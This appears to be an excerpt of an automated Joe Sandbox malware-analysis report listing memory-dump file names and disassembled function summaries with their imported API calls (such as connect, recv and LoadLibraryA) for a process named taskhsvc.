Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001ECEB8, Relevance: 6.2, APIs: 4, Instructions: 157

APIs

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 001ECB60: __stack_chk_fail.LIBSSP-0 ref: 001ECEAA

Part of subcall function 001E8718: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001EF09F), ref: 001E873F

Part of subcall function 0032D3C2: abort.MSVCRT ref: 0032D412
Part of subcall function 0032D3C2: __stack_chk_fail.LIBSSP-0 ref: 0032D507

memset.MSVCRT ref: 001ECFFA

Part of subcall function 0032E04A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0032E0EC), ref: 0032E0B0

Part of subcall function 0032D28C: abort.MSVCRT ref: 0032D2DC
Part of subcall function 0032D28C: __stack_chk_fail.LIBSSP-0 ref: 0032D3BB

memset.MSVCRT ref: 001ED09B

Part of subcall function 0032B7BA: memset.MSVCRT ref: 0032B7F8
Part of subcall function 0032B7BA: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001EEAEA), ref: 0032B8FC

abort.MSVCRT ref: 001ED11A
__stack_chk_fail.LIBSSP-0 ref: 001ED1BD

Part of subcall function 0021FF60: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001C3667), ref: 0021FFA2

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 001EC647: abort.MSVCRT ref: 001EC6C4
Part of subcall function 001EC647: abort.MSVCRT ref: 001EC703
Part of subcall function 001EC647: abort.MSVCRT ref: 001EC742
Part of subcall function 001EC647: abort.MSVCRT ref: 001EC9EF
Part of subcall function 001EC647: connect.WS2_32 ref: 001ECA38
Part of subcall function 001EC647: __stack_chk_fail.LIBSSP-0 ref: 001ECB59

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E4527, Relevance: 6.1, APIs: 4, Instructions: 136

APIs

abort.MSVCRT ref: 001E459D
abort.MSVCRT ref: 001E45E0
abort.MSVCRT ref: 001E46E5

Part of subcall function 001E331A: __stack_chk_fail.LIBSSP-0 ref: 001E335F

Part of subcall function 001E4071: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E4145
Part of subcall function 001E4071: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E419E
Part of subcall function 001E4071: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,001E5072), ref: 001E41C6

Part of subcall function 001E4243: recv.WS2_32 ref: 001E42C1
Part of subcall function 001E4243: abort.MSVCRT ref: 001E4431
Part of subcall function 001E4243: __stack_chk_fail.LIBSSP-0 ref: 001E4444

__stack_chk_fail.LIBSSP-0 ref: 001E4715

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002CF6A9, Relevance: 6.1, APIs: 4, Instructions: 102

APIs

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 00231AED: abort.MSVCRT ref: 00231B56
Part of subcall function 00231AED: abort.MSVCRT ref: 00231B99
Part of subcall function 00231AED: abort.MSVCRT ref: 00231BE6
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231BF4
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231C08
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231C26
Part of subcall function 00231AED: strlen.MSVCRT ref: 00231C44
Part of subcall function 00231AED: __stack_chk_fail.LIBSSP-0 ref: 00231D14

Part of subcall function 003259C5: abort.MSVCRT ref: 00325A21
Part of subcall function 003259C5: _stati64.MSVCRT ref: 00325A8E
Part of subcall function 003259C5: free.MSVCRT ref: 00325AA7
Part of subcall function 003259C5: strerror.MSVCRT ref: 00325AD7
Part of subcall function 003259C5: _mkdir.MSVCRT ref: 00325B54
Part of subcall function 003259C5: strerror.MSVCRT ref: 00325B72
Part of subcall function 003259C5: __stack_chk_fail.LIBSSP-0 ref: 00325C45

free.MSVCRT ref: 002CF754

Part of subcall function 0032587B: _stati64.MSVCRT ref: 00325913
Part of subcall function 0032587B: free.MSVCRT ref: 0032592C
Part of subcall function 0032587B: __stack_chk_fail.LIBSSP-0 ref: 003259BE

strerror.MSVCRT ref: 002CF7A9

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

__stack_chk_fail.LIBSSP-0 ref: 002CF869

Part of subcall function 002D04A8: abort.MSVCRT ref: 002D0507
Part of subcall function 002D04A8: free.MSVCRT ref: 002D06A5
Part of subcall function 002D04A8: __stack_chk_fail.LIBSSP-0 ref: 002D06DA

free.MSVCRT ref: 002CF84F

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00321664, Relevance: 6.1, APIs: 4, Instructions: 59

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,002E0704), ref: 003216BD
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,002E0704), ref: 00321744

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,002E0704), ref: 003216FC

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

memcpy.MSVCRT ref: 00321726

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003214A4, Relevance: 6.1, APIs: 4, Instructions: 59

APIs

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00335D24), ref: 003214FA
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00335D24), ref: 00321584

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00335D24), ref: 0032153C

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

strncpy.MSVCRT ref: 00321566

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0032888C, Relevance: 6.1, APIs: 4, Instructions: 58

APIs

strlen.MSVCRT ref: 003288DC
strcat.MSVCRT ref: 00328939
LoadLibraryA.KERNEL32 ref: 0032894C
__stack_chk_fail.LIBSSP-0 ref: 0032895C

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
